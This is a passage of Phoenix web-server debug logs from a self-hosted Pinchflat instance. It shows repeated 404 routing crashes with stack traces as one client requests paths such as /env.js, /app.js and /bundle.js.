~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21472.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52196}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21472.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52196}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21473.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfVG7UgkkMXsACMOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: (truncated) 15:40:16.883 [info] GET /app.js 15:40:16.884 [debug] QUERY OK source="settings" db=0.1ms idle=404.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.884 [debug] QUERY OK source="settings" db=0.0ms idle=290.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.884 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.884 [error] #PID<0.21475.0> running PinchflatWeb.Endpoint (connection #PID<0.21474.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21474.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52200}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21475.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfVr494pKJ6AACMOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21474.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52200}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21474.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52200}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21475.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfVr494pKJ6AACMOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: (truncated) 15:40:17.032 [info] GET /constants.js 15:40:17.032 [debug] QUERY OK source="settings" db=0.1ms idle=439.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:17.032 [debug] QUERY OK source="settings" db=0.0ms idle=303.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:17.033 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:17.033 [error] #PID<0.21477.0> running PinchflatWeb.Endpoint (connection #PID<0.21476.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /constants.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /constants (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21476.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52208}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21477.0>, params: %{}, path_info: ["constants"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/constants.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfWPSXlW9WS4ACMPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21476.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52208}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /constants (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21476.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52208}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21477.0>, params: %{}, path_info: ["constants"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/constants.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfWPSXlW9WS4ACMPB"} ], scheme: :http, script_ (truncated) 15:40:17.456 [info] GET /bundle.js 15:40:17.456 [debug] QUERY OK source="settings" db=0.1ms idle=572.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:17.456 [debug] QUERY OK source="settings" db=0.0ms idle=572.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:17.456 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:17.457 [error] #PID<0.21479.0> running PinchflatWeb.Endpoint (connection #PID<0.21478.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /bundle.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21478.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52224}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21479.0>, params: %{}, path_info: ["bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfX0YAGXJYT8ACMPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21478.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52224}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21478.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52224}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21479.0>, params: %{}, path_info: ["bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfX0YAGXJYT8ACMPh"} ], scheme: :http, script_name: [], secret_key (truncated) 15:40:17.779 [info] GET /index.js 15:40:17.779 [debug] QUERY OK source="settings" db=0.1ms idle=746.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:17.779 [debug] QUERY OK source="settings" db=0.0ms idle=746.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:17.779 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:17.780 [error] #PID<0.21481.0> running PinchflatWeb.Endpoint (connection #PID<0.21480.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52230}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21481.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfZBTqRXsgXEACMQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, 